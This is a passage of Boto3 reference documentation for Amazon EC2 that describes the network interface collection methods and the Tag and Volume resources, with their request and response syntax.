[ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +network_interfaces + +A collection of NetworkInterface resources.A NetworkInterface Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.all() + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +filter(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection filtered by kwargs passed to method.A NetworkInterface collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.filter( + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +page_size(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +[Tag](#id1254) +---------------------------------------------------- + +_class_ EC2.Tag(_resource_id_, _key_, _value_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Tag: + +import boto3 + +ec2 = boto3.resource('ec2') +tag = ec2.Tag('resource_id','key','value') + +Parameters + +* **resource_id** (_string_) -- The Tag's resource_id identifier. This **must** be set. +* **key** (_string_) -- The Tag's key identifier. This **must** be set. +* **value** (_string_) -- The Tag's value identifier. This **must** be set. + +These are the resource's available identifiers: + +* [resource_id](#EC2.Tag.resource_id "EC2.Tag.resource_id") +* [key](#EC2.Tag.key "EC2.Tag.key") +* [value](#EC2.Tag.value "EC2.Tag.value") + +These are the resource's available attributes: + +* [resource_type](#EC2.Tag.resource_type "EC2.Tag.resource_type") + +These are the resource's available actions: + +* [delete()](#EC2.Tag.delete "EC2.Tag.delete") +* [get_available_subresources()](#EC2.Tag.get_available_subresources "EC2.Tag.get_available_subresources") +* [load()](#EC2.Tag.load "EC2.Tag.load") +* [reload()](#EC2.Tag.reload "EC2.Tag.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +resource_id + +_(string)_ The Tag's resource_id identifier. This **must** be set. + +key + +_(string)_ The Tag's key identifier. This **must** be set. + +value + +_(string)_ The Tag's value identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Tag.load "EC2.Tag.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +resource_type + +* _(string) --_ + + The resource type. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified set of tags from the specified set of resources. + +To list the current tags, use DescribeTags . For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTags) + +**Request Syntax** + +response = tag.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_tags()](#EC2.Client.describe_tags "EC2.Client.describe_tags") to update the attributes of the Tag resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +tag.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_tags()](#EC2.Client.describe_tags "EC2.Client.describe_tags") to update the attributes of the Tag resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +tag.reload() + +Returns + +None + +[Volume](#id1255) +---------------------------------------------------------- + +_class_ EC2.Volume(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Volume: + +import boto3 + +ec2 = boto3.resource('ec2') +volume = ec2.Volume('id') + +Parameters + +**id** (_string_) -- The Volume's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Volume.id "EC2.Volume.id") + +These are the resource's available attributes: + +* [attachments](#EC2.Volume.attachments "EC2.Volume.attachments") +* [availability_zone](#EC2.Volume.availability_zone "EC2.Volume.availability_zone") +* [create_time](#EC2.Volume.create_time "EC2.Volume.create_time") +* [encrypted](#EC2.Volume.encrypted "EC2.Volume.encrypted") +* [fast_restored](#EC2.Volume.fast_restored "EC2.Volume.fast_restored") +* [iops](#EC2.Volume.iops "EC2.Volume.iops") +* [kms_key_id](#EC2.Volume.kms_key_id "EC2.Volume.kms_key_id") +* [multi_attach_enabled](#EC2.Volume.multi_attach_enabled "EC2.Volume.multi_attach_enabled") +* [outpost_arn](#EC2.Volume.outpost_arn "EC2.Volume.outpost_arn") +* [size](#EC2.Volume.size "EC2.Volume.size") +* [snapshot_id](#EC2.Volume.snapshot_id "EC2.Volume.snapshot_id") +* [state](#EC2.Volume.state "EC2.Volume.state") +* [tags](#EC2.Volume.tags "EC2.Volume.tags") +* [throughput](#EC2.Volume.throughput "EC2.Volume.throughput") +* [volume_id](#EC2.Volume.volume_id "EC2.Volume.volume_id") +* [volume_type](#EC2.Volume.volume_type "EC2.Volume.volume_type") + +These are the resource's available actions: + +* [attach_to_instance()](#EC2.Volume.attach_to_instance "EC2.Volume.attach_to_instance") +* [create_snapshot()](#EC2.Volume.create_snapshot "EC2.Volume.create_snapshot") +* [create_tags()](#EC2.Volume.create_tags "EC2.Volume.create_tags") +* [delete()](#EC2.Volume.delete "EC2.Volume.delete") +* [describe_attribute()](#EC2.Volume.describe_attribute "EC2.Volume.describe_attribute") +* [describe_status()](#EC2.Volume.describe_status "EC2.Volume.describe_status") +* [detach_from_instance()](#EC2.Volume.detach_from_instance "EC2.Volume.detach_from_instance") +* [enable_io()](#EC2.Volume.enable_io "EC2.Volume.enable_io") +* [get_available_subresources()](#EC2.Volume.get_available_subresources "EC2.Volume.get_available_subresources") +* [load()](#EC2.Volume.load "EC2.Volume.load") +* [modify_attribute()](#EC2.Volume.modify_attribute "EC2.Volume.modify_attribute") +* [reload()](#EC2.Volume.reload "EC2.Volume.reload") + +These are the resource's available collections: + +* [snapshots](#EC2.Volume.snapshots "EC2.Volume.snapshots") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Volume's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Volume.load "EC2.Volume.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +attachments + +* _(list) --_ + + Information about the volume attachments. + + * _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +availability_zone + +* _(string) --_ + + The Availability Zone for the volume. + + +create_time + +* _(datetime) --_ + + The time stamp when volume creation was initiated. + + +encrypted + +* _(boolean) --_ + + Indicates whether the volume is encrypted. + + +fast_restored + +* _(boolean) --_ + + Indicates whether the volume was created using fast snapshot restore. + + +iops + +* _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + +kms_key_id + +* _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the volume. + + +multi_attach_enabled + +* _(boolean) --_ + + Indicates whether Amazon EBS Multi-Attach is enabled. + + +outpost_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +size + +* _(integer) --_ + + The size of the volume, in GiBs. + + +snapshot_id + +* _(string) --_ + + The snapshot from which the volume was created, if applicable. + + +state + +* _(string) --_ + + The volume state. + + +tags + +* _(list) --_ + + Any tags assigned to the volume. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +throughput + +* _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + +volume_id + +* _(string) --_ + + The ID of the volume. + + +volume_type + +* _(string) --_ + + The volume type. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +attach_to_instance(kwargs_) + +Attaches an EBS volume to a running or stopped instance and exposes it to the instance with the specified device name. + +Encrypted EBS volumes must be attached to instances that support Amazon EBS encryption. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +After you attach an EBS volume, you must make it available. For more information, see [Making an EBS volume available for use](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html) . + +If a volume has an AWS Marketplace product code: + +* The volume can be attached only to a stopped instance. +* AWS Marketplace product codes are copied from the volume to the instance. +* You must be subscribed to the product. +* The instance type and operating system of the instance must support the product. For example, you can't detach a volume from a Windows instance and attach it to a Linux instance. + +For more information, see [Attaching Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-attaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachVolume) + +**Request Syntax** + +response = volume.attach_to_instance( + Device='string', + InstanceId='string', + DryRun=True|False +) + +Parameters + +* **Device** (_string_) -- + + **[REQUIRED]** + + The device name (for example, /dev/sdh or xvdh ). + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +* _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +create_snapshot(kwargs_) + +Creates a snapshot of an EBS volume and stores it in Amazon S3. You can use snapshots for backups, to make copies of EBS volumes, and to save data before shutting down an instance. + +When a snapshot is created, any AWS Marketplace product codes that are associated with the source volume are propagated to the snapshot. + +You can take a snapshot of an attached volume that is in use. However, snapshots only capture data that has been written to your EBS volume at the time the snapshot command is issued; this might exclude any data that has been cached by any applications or the operating system. If you can pause any file systems on the volume long enough to take a snapshot, your snapshot should be complete. However, if you cannot pause all file writes to the volume, you should unmount the volume from within the instance, issue the snapshot command, and then remount the volume to ensure a consistent and complete snapshot. You may remount and use your volume while the snapshot status is pending . + +To create a snapshot for EBS volumes that serve as root devices, you should stop the instance before taking the snapshot. + +Snapshots that are taken from encrypted volumes are automatically encrypted. Volumes that are created from encrypted snapshots are also automatically encrypted. Your encrypted volumes and any associated snapshots always remain protected. + +You can tag your snapshots during creation. For more information, see [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information, see [Amazon Elastic Block Store](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) and [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSnapshot) + +**Request Syntax** + +snapshot = volume.create_snapshot( + Description='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- A description for the snapshot. +* **TagSpecifications** (_list_) -- + + The tags to apply to the snapshot during creation. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1122)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1124)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.Snapshot + +Returns + +Snapshot resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = volume.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified EBS volume. The volume must be in the available state (not attached to an instance). + +The volume can remain in the deleting state for several minutes. + +For more information, see [Deleting an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVolume) + +**Request Syntax** + +response = volume.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified volume. You can specify only one attribute at a time. + +For more information about EBS volumes, see [Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumeAttribute) + +**Request Syntax** + +response = volume.describe_attribute( + Attribute='autoEnableIO'|'productCodes', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute of the volume. This parameter is required. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AutoEnableIO': { + 'Value': True|False + }, + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'VolumeId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AutoEnableIO** _(dict) --_ + + The state of autoEnableIO attribute. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **ProductCodes** _(list) --_ + + A list of product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + +describe_status(kwargs_) + +Describes the status of the specified volumes. Volume status provides the result of the checks performed on your volumes to determine events that can impair the performance of your volumes. The performance of a volume can be affected if an issue occurs on the volume's underlying host. If the volume's underlying host experiences a power outage or system issue, after the system is restored, there could be data inconsistencies on the volume. Volume events notify you if this occurs. Volume actions notify you if any action needs to be taken in response to the event. + +The DescribeVolumeStatus operation provides the following information about the specified volumes: + +> _Status_ : Reflects the current status of the volume. The possible values are ok , impaired , warning , or insufficient-data . If all checks pass, the overall status of the volume is ok . If the check fails, the overall status is impaired . If the status is insufficient-data , then the checks might still be taking place on your volume at the time. We recommend that you retry the request. For more information about volume status, see [Monitoring the status of your volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-volume-status.html) in the _Amazon Elastic Compute Cloud User Guide_ . +> +> _Events_ : Reflect the cause of a volume status and might require you to take action. For example, if your volume returns an impaired status, then the volume event might be potential-data-inconsistency . This means that your volume has been affected by an issue with the underlying host, has all I/O operations disabled, and might have inconsistent data. +> +> _Actions_ : Reflect the actions you might have to take in response to an event. For example, if the status of the volume is impaired and the volume event shows potential-data-inconsistency , then the action shows enable-volume-io . This means that you may want to enable the I/O operations for the volume by calling the EnableVolumeIO action and then check the volume for data consistency. + +Volume status is based on the volume status checks, and does not reflect the volume state. Therefore, volume status does not indicate volumes in the error state (for example, when a volume is incapable of accepting I/O.) + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumeStatus) + +**Request Syntax** + +response = volume.describe_status( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * action.code - The action code for the event (for example, enable-volume-io ). + * action.description - A description of the action. + * action.event-id - The event ID associated with the action. + * availability-zone - The Availability Zone of the instance. + * event.description - A description of the event. + * event.event-id - The event ID. + * event.event-type - The event type (for io-enabled : passed | failed ; for io-performance : io-performance:degraded | io-performance:severely-degraded | io-performance:stalled ). + * event.not-after - The latest end time for the event. + * event.not-before - The earliest start time for the event. + * volume-status.details-name - The cause for volume-status.status (io-enabled | io-performance ). + * volume-status.details-status - The status of volume-status.details-name (for io-enabled : passed | failed ; for io-performance : normal | degraded | severely-degraded | stalled ). + * volume-status.status - The status of the volume (ok | impaired | warning | insufficient-data ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of volume results returned by DescribeVolumeStatus in paginated output. When this parameter is used, the request only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeVolumeStatus returns all results. You cannot specify this parameter and the volume IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value to include in a future DescribeVolumeStatus request. When the results of the request exceed MaxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'VolumeStatuses': [ + { + 'Actions': [ + { + 'Code': 'string', + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string' + }, + ], + 'AvailabilityZone': 'string', + 'OutpostArn': 'string', + 'Events': [ + { + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string', + 'NotAfter': datetime(2015, 1, 1), + 'NotBefore': datetime(2015, 1, 1), + 'InstanceId': 'string' + }, + ], + 'VolumeId': 'string', + 'VolumeStatus': { + 'Details': [ + { + 'Name': 'io-enabled'|'io-performance', + 'Status': 'string' + }, + ], + 'Status': 'ok'|'impaired'|'insufficient-data' + }, + 'AttachmentStatuses': [ + { + 'IoPerformance': 'string', + 'InstanceId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **VolumeStatuses** _(list) --_ + + Information about the status of the volumes. + + * _(dict) --_ + + Describes the volume status. + + * **Actions** _(list) --_ + + The details of the operation. + + * _(dict) --_ + + Describes a volume status operation code. + + * **Code** _(string) --_ + + The code identifying the operation, for example, enable-volume-io . + + * **Description** _(string) --_ + + A description of the operation. + + * **EventId** _(string) --_ + + The ID of the event associated with this operation. + + * **EventType** _(string) --_ + + The event type associated with this operation. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the volume. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **Events** _(list) --_ + + A list of events associated with the volume. + + * _(dict) --_ + + Describes a volume status event. + + * **Description** _(string) --_ + + A description of the event. + + * **EventId** _(string) --_ + + The ID of this event. + + * **EventType** _(string) --_ + + The type of this event. + + * **NotAfter** _(datetime) --_ + + The latest end time of the event. + + * **NotBefore** _(datetime) --_ + + The earliest start time of the event. + + * **InstanceId** _(string) --_ + + The ID of the instance associated with the event. + + * **VolumeId** _(string) --_ + + The volume ID. + + * **VolumeStatus** _(dict) --_ + + The volume status. + + * **Details** _(list) --_ + + The details of the volume status. + + * _(dict) --_ + + Describes a volume status. + + * **Name** _(string) --_ + + The name of the volume status. + + * **Status** _(string) --_ + + The intended status of the volume status. + + * **Status** _(string) --_ + + The status of the volume. + + * **AttachmentStatuses** _(list) --_ + + Information about the instances to which the volume is attached. + + * _(dict) --_ + + Information about the instances to which the volume is attached. + + * **IoPerformance** _(string) --_ + + The maximum IOPS supported by the attached instance. + + * **InstanceId** _(string) --_ + + The ID of the attached instance. + + +detach_from_instance(kwargs_) + +Detaches an EBS volume from an instance. Make sure to unmount any file systems on the device within your operating system before detaching the volume. Failure to do so can result in the volume becoming stuck in the busy state while detaching. If this happens, detachment can be delayed indefinitely until you unmount the volume, force detachment, reboot the instance, or all three. If an EBS volume is the root device of an instance, it can't be detached while the instance is running. To detach the root volume, stop the instance first. + +When a volume with an AWS Marketplace product code is detached from an instance, the product code is no longer associated with the instance. + +For more information, see [Detaching an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-detaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachVolume) + +**Request Syntax** + +response = volume.detach_from_instance( + Device='string', + Force=True|False, + InstanceId='string', + DryRun=True|False +) + +Parameters + +* **Device** (_string_) -- The device name. +* **Force** (_boolean_) -- Forces detachment if the previous detachment attempt did not occur cleanly (for example, logging into an instance, unmounting the volume, and detaching normally). This option can lead to data loss or a corrupted file system. Use this option only as a last resort to detach a volume from a failed instance. The instance won't have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. +* **InstanceId** (_string_) -- The ID of the instance. If you are detaching a Multi-Attach enabled volume, you must specify an instance ID. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +* _(dict) --_ + + Describes volume attachment details. + + * 